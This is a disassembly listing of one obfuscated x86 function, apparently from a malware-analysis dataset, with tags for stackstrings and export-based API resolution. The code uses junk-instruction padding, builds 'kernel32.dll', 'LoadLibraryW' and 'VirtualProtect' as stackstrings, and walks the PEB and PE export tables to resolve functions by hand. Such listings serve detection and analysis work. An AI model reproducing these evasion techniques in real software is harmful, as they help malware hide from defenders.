Function at 0x409fc7
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add al, 0xeb
add eax, 0x363d4647
inc esp
jmp 0x408269
xor esi, 0xbaa8
and esi, 0xacc8
pop esi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x408293
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push edi
push eax
add esp, 4
jmp 0x4082a0
push es
xor edi, 0x172f
or edi, 0xefc9
pop edi
push esi
push edx
add esp, 4
sub esi, 0x139a5
pop esi
push ebx
push ecx
add esp, 4
jmp 0x4082c4
pop ebx
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x40830d
push edi
push edi
add esp, 4
and edi, 0x1024
pop edi
push edi
or edi, 0x17a69
pop edi
push edx
push eax
add esp, 4
and edx, 0x545e
xor edx, 0x18033
and edx, 0xc89f
or edx, 0x58b0
pop edx
jmp 0x40853b
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push eax
jmp 0x40832a
add eax, 0x9db6
add eax, 0x54b7
pop eax
push esi
push ecx
add esp, 4
or esi, 0x923a
or esi, 0xb2b1
xor esi, 0xaaa2
add esi, 0x16f6a
pop esi
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x4083bc
push edx
add edx, 0xdf69
jmp 0x408386
sub edx, 0xebb8
pop edx
push esi
push esi
add esp, 4
call 0x4083a1
add byte [ebx + esi], bh
inc esp
inc edi
dec esp
cmp eax, 0x833e454b
les eax, [ecx + eax*4]
out 0xa9, al
add word [eax], ax
pop esi
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x4084ed
cmp dword [ebp - 0xc08], 0
jle 0x4084e1
push esi
xor esi, 0x115b3
and esi, 0x21a5
pop esi
push esi
push ecx
add esp, 4
call 0x4083e9
add byte [edi + 0x46], al
inc edi
inc ebx
aas
aaa
xor al, byte [ebx + 0x6eb04c4]
inc ebx
inc edi
inc edx
inc eax
inc edx
dec ebp
and esi, 0x180e1
pop esi
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x40847d
push esi
push esi
add esp, 4
and esi, 0x9d65
pop esi
push edi
jmp 0x408424
add edi, 0x5d4b
pop edi
push ecx
push eax
add esp, 4
xor ecx, 0x70ad
sub ecx, 0xc1a7
add ecx, 0x16f57
pop ecx
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x408465
mov dword [ebp - 0x14c0], 1
jmp 0x40846f
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x4084e1
push edi
add edi, 0x2f7e
add edi, 0xf68
add byte [eax], al
add edi, 0xe3cc
and edi, 0x10eec
pop edi
push edx
push edi
add esp, 4
or edx, 0x3e67
pop edx
push edi
push ecx
add esp, 4
sub edi, 0x5bad
pop edi
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x4083bc
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x408536
push ebx
push edx
add esp, 4
add ebx, 0x13fb7
call 0x40850e
add byte [ecx], bh
dec eax
dec ebp
dec edi
cmp eax, 0xc4833b33
add al, 0xe8
or dword [eax], eax
add byte [eax], al
add byte [ecx + 0x36], al
cmp byte [ecx + 0x3c], al
xor al, 0x4b
dec ecx
add esp, 4
jmp 0x408527
pop ebx
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x408577
jmp 0x408284
push esi
push edx
add esp, 4
xor esi, 0x1ad
or esi, 0x16db9
xor esi, 0xd40a
add esi, 0x24e3
pop esi
push esi
sub esi, 0x8d64
sub esi, 0x16506
add esi, 0x1591f
pop ds
pop ecx
add dword [eax], eax
pop esi
mov dword [ebp - 0x3cc], 0
push eax
push edi
add esp, 4
or eax, 0x16bd4
xor eax, 0xf848
sub eax, 0x16056
and eax, 0x42fc
pop eax
push esi
and esi, 0x550d
sub esi, 0x13c50
or esi, 0x2715
pop esi
push ecx
push esi
add esp, 4
and ecx, 0x9820
or ecx, 0xc510
call 0x4085c8
add byte [eax + 0x43], cl
xor ecx, dword [ebx + 0x4a]
xor esi, dword [esi]
cmp al, byte [ebx - 0x367efb3c]
add bl, byte [ebx]
add dword [eax], eax
pop ecx
push edx
jmp 0x4085da
pop edx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push eax
jmp 0x4085f7
sub eax, 0x1c71
or eax, 0x1be4
pop eax
push edi
push ebx
add esp, 4
and edi, 0x17e03
sub edi, 0x6a92
or edi, 0xa3e4
add edi, 0x142dd
pop edi
mov dword [ebp - 0x1fac], 0xffffffff
invalid
invalid
invalid
invalid
invalid
call dword [eax - 0x7f]
enter 0x123c, 1
add byte [ecx + 0x57b0e0], al
add byte [eax + 0x50], bl
add eax, 0x15d0e
and eax, 0x126d4
add eax, 0xbcfb
pop eax
push eax
jmp 0x408657
add eax, 0x107f7
pop eax
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x40867b
push eax
xor eax, 0x3646
or eax, 0x17e54
add eax, 0xf3ee
pop eax
push edi
call 0x40869e
add byte [edx], dh
inc ebx
xor dh, byte [edx]
push eax
dec edi
inc ebp
add esp, 4
jmp 0x4086a6
xor edi, 0x9963
pop edi
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x4086f5
push edx
push esi
add esp, 4
and edx, 0xf114
pop edx
push ebx
push eax
add esp, 4
and ebx, 0xa02f
pop ebx
push edi
or edi, 0xe4b
pop edi
push edi
push ebx
add esp, 4
and edi, 0x89f1
sub edi, 0x15cfb
pop edi
jmp 0x408923
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
lea esi, [eax]
sti
invalid
dec dword [ecx - 0xa5f73]
invalid
push edi
push edx
push esi
add esp, 4
xor edx, 0x85f
jmp 0x408933
pop edx
push ecx
call 0x408945
add byte [ebx + eax*2 + 0x50], cl
cmp dword [ebx], esi
inc esp
dec ebx
cmp dword [edx + 0x3e], ecx
add esp, 4
or ecx, 0x15aee
or ecx, 0x1476b
pop ecx
mov dword [ebp - 0xa5c], 0
push edi
push eax
add esp, 4
and edi, 0xfe11
jmp 0x408970
xor edi, 0x2cef
or edi, 0x18273
pop edi
push ebx
push eax
add esp, 4
xor ebx, 0xab05
jmp 0x408990
pop ebx
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push edi
push eax
add esp, 4
or edi, 0xc5f3
or edi, 0x6938
pop edi
push esi
and esi, 0x95e4
xor esi, 0x59f9
pop esi
push esi
push edx
add esp, 4
or esi, 0xcc75
or esi, 0xdc1d
pop esi
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push ecx
push edx
add esp, 4
jmp 0x408aba
add ecx, 0x13da
pop ecx
push esi
push esi
add esp, 4
jmp 0x408acb
add esi, 0x113b6
pop esi
push esi
sub esi, 0x17573
pop esi
push eax
and eax, 0x15ef5
pop eax
push eax
xor eax, 0x11ea2
xor eax, 0x10634
xor eax, 0x4bef
pop eax
push esi
push edx
add esp, 4
sub esi, 0x7868
or esi, 0x7188
and esi, 0xe668
and esi, 0x13a14
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ecx
push ecx
add esp, 4
or ecx, 0x15d1d
xor ecx, 0x453
or ecx, 0x459c
pop ecx
push eax
and eax, 0xd904
sub eax, 0xbf44
and eax, 0x27a5
or eax, 0x1506c
pop eax
cmp dword [ebp - 0x14d4], 0
jne 0x408b86
mov dword [ebp - 0x2e0], 0
jmp 0x408e42
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edi
jmp 0x408ba1
pop edi
push esi
sub esi, 0x6dc3
xor esi, 0x1614a
xor esi, 0x17f10
pop esi
push eax
push esi
add esp, 4
or eax, 0x10573
pop eax
push ebx
or ebx, 0x17bce
pop ebx
cmp dword [ebp - 0xc20], 0
jne 0x408be2
mov dword [ebp - 0x2e0], 0
jmp 0x408e42
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edi
call 0x408bfd
add byte [ebx], dh
dec eax
cmp ecx, dword [eax + 0x34]
cmp eax, 0xc4833d36
add al, 0x81
out dx, eax
and ebp, edx
add byte [eax], al
call 0x408c16
add byte [edx + 0x3b], al
dec eax
dec edi
aaa
inc eax
aas
inc eax
dec edx
cmp dword [ebx - 0x187efb3c], eax
fisub word [edi]
add byte [edi - 0x73], bl
invalid
push eax
xor eax, 0x1181e
add eax, 0xce85
sub eax, 0x60f
pop eax
push esi
push edx
add esp, 4
or esi, 0x676c
pop esi
push edi
push ebx
add esp, 4
xor edi, 0xad6
or edi, 0x1ea5
pop edi
cmp dword [ebp - 0x2e0], 0
jne 0x40978d
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ebx
push eax
add esp, 4
xor ebx, 0x16381
xor ebx, 0x15888
or ebx, 0xbf00
pop ebx
push ebx
push edx
add esp, 4
xor ebx, 0x10cfe
pop ebx
push ecx
sub ecx, 0x2918
and ecx, 0x11338
pop ecx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push esi
sub esi, 0xcd81
or esi, 0x2e6d
and esi, 0x1505b
pop esi
push edx
and edx, 0x15b54
call 0x408ff6
add byte [edi], dh
inc edx
xor dh, byte [0x83393637]
les eax, [ecx + eax*4]
ret 0x6ca8
push ecx
sub ecx, 0xa09
add ecx, 0x107cc
xor ecx, 0xc5ef
add ecx, 0xe4ce
pop ecx
push ecx
push ebx
add esp, 4
or ecx, 0x164dd
pop ecx
push ecx
push eax
add esp, 4
xor ecx, 0xc147
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push esi
call 0x4097f5
add byte [edx + 0x3d], cl
dec edi
xor eax, dword [ecx + 0x48]
inc edi
add esp, 4
pop esi
push ebx
push ecx
add esp, 4
or ebx, 0x16f9b
call 0x409814
add byte [eax], bh
aas
inc eax
cmp byte [ebp + 0x4c], cl
inc ecx
inc esp
xor al, 0x4d
add esp, 4
pop ebx
cmp dword [ebp - 0x14f4], 0
jne 0x409830
mov dword [ebp - 0x2e0], 0
jmp 0x409ad7
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push edx
jmp 0x40984a
xor edx, 0x54b1
and edx, 0x17017
sub edx, 0x1ed3
pop edx
push edi
push ebx
add esp, 4
add edi, 0x141a1
jmp 0x40986d
add edi, 0x16023
pop edi
cmp dword [ebp - 0xc3c], 0
jne 0x40988c
mov dword [ebp - 0x2e0], 0
jmp 0x409ad7
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push edi
push eax
add esp, 4
sub edi, 0xad2d
pop edi
push ecx
sub ecx, 0x10332
pop ecx
push edx
push ecx
add esp, 4
add edx, 0x12e7
xor edx, 0x86b8
add edx, 0x3d00
jmp 0x4098c9
pop edx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push ebx
push edx
add esp, 4
jmp 0x409900
sub ebx, 0x17ca0
pop ebx
push ebx
add ebx, 0x2641
sub ebx, 0xddf1
call 0x409922
add byte [ebx], dh
dec esi
inc ebx
inc edi
inc ecx
inc ebx
aaa
add esp, 4
pop ebx
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push edx
push edx
add esp, 4
and edx, 0x143fe
or edx, 0x103cf
or edx, 0x10673
pop edx
push edi
sub edi, 0x8887
and edi, 0xc203
pop edi
push edi
push edx
add esp, 4
jmp 0x4099ae
pop edi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x4099cc
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x409a26
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x4098f4
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x4098f4
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x409a10
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x409a1a
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x409a6f
push edi
jmp 0x409a39
jmp 0x409a3e
or edi, 0x12f17
pop edi
push eax
or eax, 0x117b
pop eax
push ecx
push edx
add esp, 4
sub ecx, 0xd4c1
pop ecx
push eax
sub eax, 0x3d75
pop eax
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x409ad7
push ecx
push esi
add esp, 4
call 0x409a80
add byte [edx], dh
cmp ecx, dword ds:[ebp + 0x3c]
add esp, 4
call 0x409a91
add byte [edi + 0x45], al
inc ebx
inc edi
dec edi
dec ebx
xor al, 0x46
add esp, 4
add ecx, 0x184cf
and ecx, 0x49cc
pop ecx
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x409acd
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x409898
mov dword [ebp - 0x2e0], 0
push eax
push eax
add esp, 4
jmp 0x409ae5
pop eax
push esi
push edx
add esp, 4
add esi, 0x15312
call 0x409afd
add byte [ebx + 0x36], al
xor al, 0x33
cmp dword ds:[ebx + 0x525e04c4], eax
or edx, 0x2fbc
pop edx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push eax
or eax, 0xaca7
or eax, 0xd73b
xor eax, 0x13f1
pop eax
push edi
push ecx
add esp, 4
xor edi, 0x10968
xor edi, 0x12ef7
add edi, 0x14f29
and edi, 0x1633f
pop edi
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x409b7a
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x409e6b
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x409ba2
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x409e6b
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x409bd4
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x409e6b
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x409bf9
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x409e6b
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x409c53
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x409e5f
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x409cc3
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x409d75
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x409d75
push ecx
push esi
add esp, 4
and ecx, 0xdeb5
xor ecx, 0x6300
pop ecx
push esi
add esi, 0xf8ba
or esi, 0x56eb
or esi, 0x86d9
pop esi
push edx
push edx
add esp, 4
xor edx, 0xd4b6
pop edx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x409d67
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x409d6e
jmp 0x409cb4
jmp 0x409d75
push ecx
push ecx
add esp, 4
sub ecx, 0xa409
pop ecx
push edi
sub edi, 0xa79e
pop edi
push edx
push edi
add esp, 4
xor edx, 0xd2b4
xor edx, 0x9a8f
sub edx, 0x1228d
sub edx, 0xa849
pop edx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x409dd4
mov dword [ebp - 0xc40], 0
jmp 0x409e43
push ebx
push edi
add esp, 4
and ebx, 0x16fdf
or ebx, 0x100a5
add ebx, 0x1935
add ebx, 0x173b0
pop ebx
push ebx
sub ebx, 0x97de
xor ebx, 0xb703
add ebx, 0xac15
pop ebx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x409e39
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x409e43
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x409e5a
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x409e6b
jmp 0x409c44
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push ecx
push esi
add esp, 4
jmp 0x409e82
pop ecx
push edi
xor edi, 0xb295
call 0x409e98
add byte [eax + 0x4b], dl
xor edi, dword [esi]
dec ecx
aas
push eax
inc ebp
add esp, 4
add al, 0x81
out 0xf7, eax
insb byte es:[edi], dx
add byte [eax], al
jmp 0x409ea8
pop edi
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push ebx
sub ebx, 0x174d9
call 0x409ecc
add byte [edi], bh
dec eax
cmp eax, 0x833f3235
les eax, [ebx + ebp*8]
add al, 0x38
dec eax
inc eax
xor ebx, dword [ebx + 0x57]
sub edi, 0x762d
add edi, 0xd866
or edi, 0xe155
pop edi
cmp dword [ebp - 0x3cc], 0
je 0x409efc
cmp dword [ebp - 0xa5c], 0
jne 0x409f42
push eax
push edi
add esp, 4
or eax, 0x3e30
or eax, 0x8512
pop eax
push esi
push edx
add esp, 4
jmp 0x409f1b
xor esi, 0x183f9
or esi, 0x13158
and esi, 0x14fb6
pop esi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push edi
push esi
add esp, 4
xor edi, 0x14843
pop edi
push esi
add esi, 0xe87f
sub esi, 0x1304c
call 0x409f72
add byte [ebx], bh
dec ecx
aaa
inc esi
cmp al, 0x4d
cmp al, byte [ebx + 0x505e04c4]
and eax, 0x1ba6
pop eax
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push eax
push ecx
add esp, 4
add eax, 0x633b
xor eax, 0x115cf
call 0x409fc7
add byte [ecx], bh
xor eax, 0x3c393341
aaa
add esp, 4
call 0x409fd7
add byte [esi + 0x3d], al
cmp esi, dword [0x833f3e36]
les eax, [eax + ebx*2]
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edi
push esi
add esp, 4
jmp 0x40a051
add edi, 0x10127
and edi, 0x3572
pop edi
push edi
push edx
add esp, 4
or edi, 0x4d5e
or edi, 0x6454
xor edi, 0x13143
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push eax
push ecx
add esp, 4
or eax, 0x7ac2
or eax, 0x14f06
call 0x40a0bb
add byte [ecx], bh
dec ebp
inc ebp
inc eax
dec ebx
cmp dword [ebx + eax*4], edi
les eax, [eax + ebx*2]
push edx
jmp 0x40a0c8
sub edx, 0x15e87
pop edx
cmp dword [ebp - 0x150c], 0
jne 0x40a0e7
mov dword [ebp - 0x2a8], 0
jmp 0x40a38e
mov ecx, dword [ebp - 0x150c]
invalid